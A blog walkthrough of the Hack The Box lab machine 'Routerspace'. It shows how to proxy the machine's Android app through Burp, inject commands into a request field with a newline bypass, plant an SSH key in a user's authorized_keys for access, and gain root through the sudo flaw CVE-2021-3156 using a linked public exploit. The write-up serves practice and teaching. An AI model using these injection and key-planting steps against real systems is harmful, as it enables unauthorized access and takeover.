Routerspace Hack the box Writeup

Vignesh
6 min readJul 9, 2022

--

Routerspace hack the box walkthrough

Hi guys, welcome to my blog so today we are going to discuss an interesting machine which is Routerspace this is the machine that comes with the Rce Vulnerability and escalates the root privilege with the sudo version.

  1. Nmap scan
  2. Genymotion for APK testing
  3. Rce — Remote code Execution
  4. Getting the User shell
  5. Root Privilege Escalation
  6. Run linPEAS
  7. Sudo Version Vulnerability
  8. Getting the Root shell

Nmap scan

So first Let we start with Nmap Scan

STEP 1: nmap -sC -sV 10.10.11.148

Routerspace hack the box nmap

Further analyzing this nmap scan I have found a normal SSH service.

So next we go took at the website which is http://10.10.11.148

Here you can able see the download option on the top right corner

Routerspace hack the box walkthrough

Download that apk file…

Genymotion for Apk testing

And next, we going to set up the genymotion for apk testing. Insert using Genymotion you can able to use the Anbox or Nox player for that.

Hack the box routerspace

First I have test with Anbox but it was not suitable for my Linux and throws lots of errors so I used Genymotion and I used it for a Lot of Time for testing the android application.

Download the Genymotion using this link: https://genymotion.com
With that download the VirtualBox also: https://virtualbox.org

After downloading this. Download any android Machine with the older version of 5.0 or 5.1

Android version routerspace hack the box

If you’ve tried with newer version 9.1 or 10 it will not work. I throw the server error.

routerspace hack the box android

Because I have been stuck at this stage for 2 days and I get the idea from the hack-the-box forums
From this, I have learned the lesson which is “ Failure is not the opposite of success it is part of success” and I still kept my trying without losing hope in searching. I say this for you guys .. Still, Keep trying one day you will reach success.

Let us move on to the content.

After downloading the android machine use the adb command to install the apk on the machine.

STEP 2: adb install Routerspace.apk

routerspace hack the box adb

So now the app will be installed on your android machine

routerspace hack the box adb install

And next, we going to set the proxy to intercept the requested using the burpsuite

And next, open the burpsuite and go to proxy the tab.

Here you can able see the options tab.

And the Add button which is on the left.

Routerspace hack the box burpsuite

First, It will ask you to Enter the bind port as 4001 and choose your machine IP (tun0)

routerspace hack the box writeup

And check the box ( shown in the below image )

hack the box writeup

Next, we going to set the proxy for the android machine using the below command

STEP 3: adb shell settings put global http_proxy brup:ip

Routerspace htb walkthrough

Now turn off your intercept in your burpsuite and click the check status button in your android app.
Now it will say “Hey the router working fine

Routerspace htb android

So next we going to intercept the request in the burpsuite.

Routerspace hack the box android burpsuite testing

Now you can able see the hostname which is routerspace.htb. add the host to your /etc/hosts file

routerspace walkthrough

And next repeat the request and intercept in your burpsuite and send it to the repeater.

RCE

Further analyzing I found that it was affected by remote code execution
So first I tried “id”

routerspace writeup

So let us try another to bypass “\nid”

routerspace hackthebox

It’s worked now we have found the user is paul. so further I have tried a lot but it was blocked due to the iptable rule.

So let us check for the ssh key

STEP 4: \nls -al /home/paul/.ssh

routerspace htb walkthrough

There is nothing available. so I have generated the ssh key to get a login.

STEP 5: ssh-keygen

routerspace walkthrough hack the box

STEP 6: cd /root/.ssh

Now you can able see the id_rsa.pub

STEP 7: cat id_rsa.pub

Routerspace htb shell

copy that id_rsa.pub key

STEP 8: \necho ‘paste your key here’ >> /home/paul/.ssh/authorized_keys

Now send this request

And go to your local machine in the nmap we have found the ssh service so let us log in through it.

Before that give permission to your RSA file

STEP 9: chmod 600 id_rsa

STEP 10: ssh -i id_rsa paul@10.10.11.148

Now you get the user shell

Routerspace htb usershell

boooooooooooooooooooooooommmmmm!!!!!

You can able to see the userflag which is user.txt

STEP 11: cat user.txt

Routerspace htb userflag

Root Privilege Escalation

First, we going to run the linpeas script

STEP 12: ./linpeas.sh

Routerspace htb linpeas

Further analyzing this report I have found that It was affected by the sudo version

So now we going to escalate privilege using this sudo version

CVE 2021–3156

Link: https://github.com/worawit/CVE-2021-3156/blob/main/exploit_nss.py

Download this exploit in the routerspace machine

Run this exploit you will get the root shell

Booooooooooooooooommmmmmmm!!!!

STEP 13: cd root

STEP 14: cat root.txt

Now you can able to get the root flag.

Routerspace htb rootflag

I hope you will understand this article please support us

OSCP Student:

--

--

Vignesh
Vignesh

Written by Vignesh

Hi, I'm Vignesh just call me Vicky. I'm a cybersecurity Researcher who was more interested in this cybersecurity field basically I'm a Offsec Student.

No responses yet